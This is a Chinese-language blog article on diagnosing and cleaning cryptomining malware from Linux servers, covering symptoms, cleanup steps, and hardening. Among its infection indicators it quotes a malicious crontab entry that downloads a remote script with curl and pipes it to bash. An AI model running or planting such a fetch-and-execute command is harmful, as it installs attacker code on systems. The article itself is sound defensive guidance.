攻击者利用漏洞或弱口令植入挖矿木马,持续消耗CPU/GPU资源,导致业务变慢、电费异常、硬件寿命缩短,甚至被利用作为跳板攻击内网。排查时优先看CPU占用、异常进程和网络连接,清除时不能只杀进程,必须同步封堵入口并加固系统,否则几小时内就会复发。
服务器被挖矿有什么症状:先学会认“病灶”
挖矿木马不会大张旗鼓地弹窗告诉你“我被入侵了”,它更像一个偷偷住进你家的租客,白天装睡、半夜干活,识别它,靠的是几组交叉信号。
资源占用异常是第一条线索
- CPU使用率长期高位:业务负载没变,但
top或任务管理器里持续有进程吃掉大比例CPU,且进程名伪装成kdevtmpfsi、sysupdate、xmrig、dbus-daemon之类。 - GPU服务器更隐蔽:NVIDIA卡被占用时业务无感知,但
nvidia-smi会显示显存被不明进程占满。 - 负载与业务量脱节:凌晨低峰期CPU反而飙高,这是挖矿程序按 Cron 定时拉起的典型行为。
网络与文件层面的异常痕迹
- 对外连接中出现矿池地址特征:常见端口如3333、4444、5555、7777、8888,域名多为随机字符串或仿冒正规域名。
/tmp、/dev/shm、/var/tmp下出现可执行文件,且带chattr +i属性(lsattr可查看),删不掉、改不了。crontab -l里藏着一条定时任务,内容形如/10 curl -s http://x.x.x.x/init.sh | bash。
系统账户与配置被动了手脚
- 多出陌生用户,或在
/etc/passwd中看到UID为0的第二个“root”。 - SSH的
authorized_keys被追加了陌生公钥,/etc/ssh/sshd_config被改过端口或允许密码登录。 - 系统命令被替换:
ps、top、netstat查不到挖矿进程,因为二进制文件被替换成了“过滤版”。
业内专家指出,挖矿木马与勒索软件常出自同一批黑产团伙,前者负责“养鸡”变现,后者负责“杀鸡取卵”,因此发现挖矿往往意味着系统已存在可被进一步利用的入口。
服务器挖矿怎么排查清理:六步标准动作
发现症状只是开始,真正的难点是“清干净”,以下步骤按顺序执行,每一步都有可验证的结果。
第一步:隔离但不关机
直接关机可能丢失内存中的进程信息,正确做法是先通过安全组或防火墙断开公网入方向,保留内网运维通道,然后登录取证。
第二步:锁定异常进程与文件
top -c # 按CPU排序,记下PID和完整命令行 ps -ef --forest # 查看进程父子关系,挖矿进程常有守护父进程 ls -l /proc/<PID>/exe # 定位可执行文件真实路径 lsof -p <PID> # 查看进程打开的文件和网络连接
删除前先解除不可变属性:
chattr -i /tmp/kdevtmpfsi rm -f /tmp/kdevtmpfsi
第三步:清理持久化入口
挖矿木马会给自己留“后门钥匙”,只杀进程不删入口,基本等于白干,逐项检查:
- 定时任务:
crontab -l、/etc/crontab、/etc/cron.d/、/var/spool/cron/。 - 开机自启:
systemctl list-unit-files中排查陌生service,重点看/etc/systemd/system/。 - 启动脚本:
/etc/rc.local、/etc/profile、~/.bashrc末尾是否被追加下载命令。 - SSH后门:检查所有用户的
authorized_keys,比对修改时间。 - 动态库劫持:
/etc/ld.so.preload,大概率是预加载了恶意so文件。
第四步:封堵入侵入口
入口不清,清完还会回来,按发生频率排序:
- Redis未授权访问:6379端口暴露公网且无密码,攻击者写入SSH公钥或计划任务,加固:绑定
0.0.1、设置requirepass、禁用CONFIG命令。 - SSH弱口令:
/var/log/secure或auth.log中可见大量失败登录后的一次成功,加固:禁用密码登录、改端口、部署Fail2ban。 - Web漏洞:老旧中间件、上传接口、反序列化漏洞,查看Web日志中异常POST和
/tmp下落地的脚本。 - 数据库弱口令:MySQL、MongoDB暴露公网被暴力破解。
第五步:验证清理效果
- 重启后再次执行
top和ps,观察30分钟以上,确认无异常进程复活。 netstat -tunlp确认无矿池连接。- 用
rpm -Va(CentOS)或debsums(Debian)校验系统文件完整性,确认核心命令未被篡改。
第六步:评估损失与恢复
若系统命令已被大面积替换、或存在无法确认的rootkit,重装系统是唯一可靠选择,数据盘挂载前先做病毒扫描,避免二次感染。
| 排查项 | 常用命令 | 异常判断标准 |
|---|---|---|
| CPU占用 | top -c |
持续高占用且进程名可疑 |
| 网络连接 | netstat -tunlp / ss -tunlp |
连接矿池端口或陌生IP |
| 定时任务 | crontab -l |
含curl/wget下载执行命令 |
| 文件属性 | lsattr /tmp/ |
出现i不可变属性 |
| 账户 | awk -F: '$3==0' /etc/passwd |
出现多个UID为0的账户 |
云服务器挖矿和物理机挖矿有什么区别:防御重心不同
很多用户问“云上是不是更容易被挖”,答案不是“更容易”,而是“暴露面不同、止损手段不同”。
云环境的三个特殊性
- 公网IP默认可达:物理机通常有边界防火墙,云主机买来就带公网IP,安全组若放行0.0.0.0/0,等于门没锁。
- 快照是救命稻草:云厂商提供系统盘快照和镜像回滚,发现入侵后先打快照再清理,清理失败可快速回滚到干净状态。
- 计费方式放大损失:挖矿消耗的CPU和流量直接体现在账单上,突发性能实例的CPU积分被快速耗尽后业务直接降速,这是云上独有的“隐性宕机”。
物理机更怕“持久化”
物理机重装成本高,攻击者常植入Bootkit或修改引导区,行业共识认为,物理机挖矿清理后应至少观察一个完整业务周期,并重点核查固件和RAID卡日志。
服务器挖矿清理费用多少:什么情况自己修、什么情况花钱
这是搜索量很高的现实问题,费用没有统一报价,但可以按场景给参考区间。
可自行处理的情况(成本趋近于零)
- 单台云主机、入口明确(如Redis未授权)、无rootkit迹象。
- 有可用快照,清理失败可回滚。
- 团队具备Linux基础和日志分析能力。
- 耗时通常在1到3小时,主要是排查和验证。
建议付费处理的情况
- 多台服务器同时中招,存在横向移动。
- 系统命令被替换、
/etc/ld.so.preload被写入、无法确认是否残留后门。 - 业务系统不能停机,需要在线取证和热清除。
- 涉及等保合规或数据泄露风险,需要出具清理报告。
- 据近年来安全服务市场行情,单台深度清理与加固的报价通常在数百到数千元区间,多台打包和应急响应会更高;若涉及勒索解密或数据恢复,费用另计。
判断标准很简单:如果清理后48小时内复发,说明入口没堵住,继续自己折腾的时间成本远高于请人。
预防复发:把“事后灭火”变成“事前防火”
挖矿问题的本质是入侵面管理问题,不是杀毒问题,以下措施按性价比排序:
- 收窄暴露面:安全组只放行必要端口,SSH不对公网全开,Redis/MySQL/MongoDB一律不绑公网。
- 消灭弱口令:所有对外服务使用强密码,SSH改用密钥登录,禁用root直接登录。
- 补丁节奏:中间件、CMS、面板类软件是重灾区,保持自动更新或至少月度巡检。
- 最小权限:Web服务以低权限用户运行,禁止
www用户拥有写/tmp以外目录的权限。 - 监控告警:对CPU持续高于阈值、异常外联、
/tmp下新增可执行文件设置告警,早发现比清得快更重要。 - 备份隔离:备份不与生产同网络、同凭据,防止备份被一并加密。
关于服务器挖矿问题的常见疑问
服务器挖矿木马如何彻底清除不掉怎么办
先确认三件事:是否清除了crontab和systemd中的持久化项、是否检查了/etc/ld.so.preload、是否封堵了初始入侵入口,三者缺一,复发是必然的,若系统二进制已被替换或存在rootkit,不要继续在线上“打补丁”,直接重装并从备份恢复业务数据,这是成本最低的彻底方案。
服务器CPU占用高一定是被挖矿了吗
不一定,业务代码死循环、Java GC频繁、数据库慢查询、备份任务重叠都会推高CPU,区分方法是看进程来源和网络行为:挖矿进程通常来自/tmp等临时目录、父进程可疑、伴随矿池外联;业务进程则有明确的部署路径和正常监听端口,用pidstat -p <PID> 1观察单个进程的持续行为,比只看top更有判断力。
云服务器挖矿被云厂商封禁怎么办
主流云厂商对挖矿行为的处置通常是限速、封禁公网或发送整改通知,依据是服务条款中禁止利用云资源从事虚拟货币挖矿,处理路径是:先完成清理和加固,保留清理记录和整改说明,再通过工单申诉解封;若涉及业务连续性损失,部分厂商对因自身漏洞导致的入侵有相应责任界定流程,但用户侧弱口令和端口暴露通常被认定为用户责任,解封后建议立即启用主机安全agent和基线检查,避免二次触发。
首发原创文章,作者:王坚,如若转载,请注明出处:https://idctop.com/article/790353.html


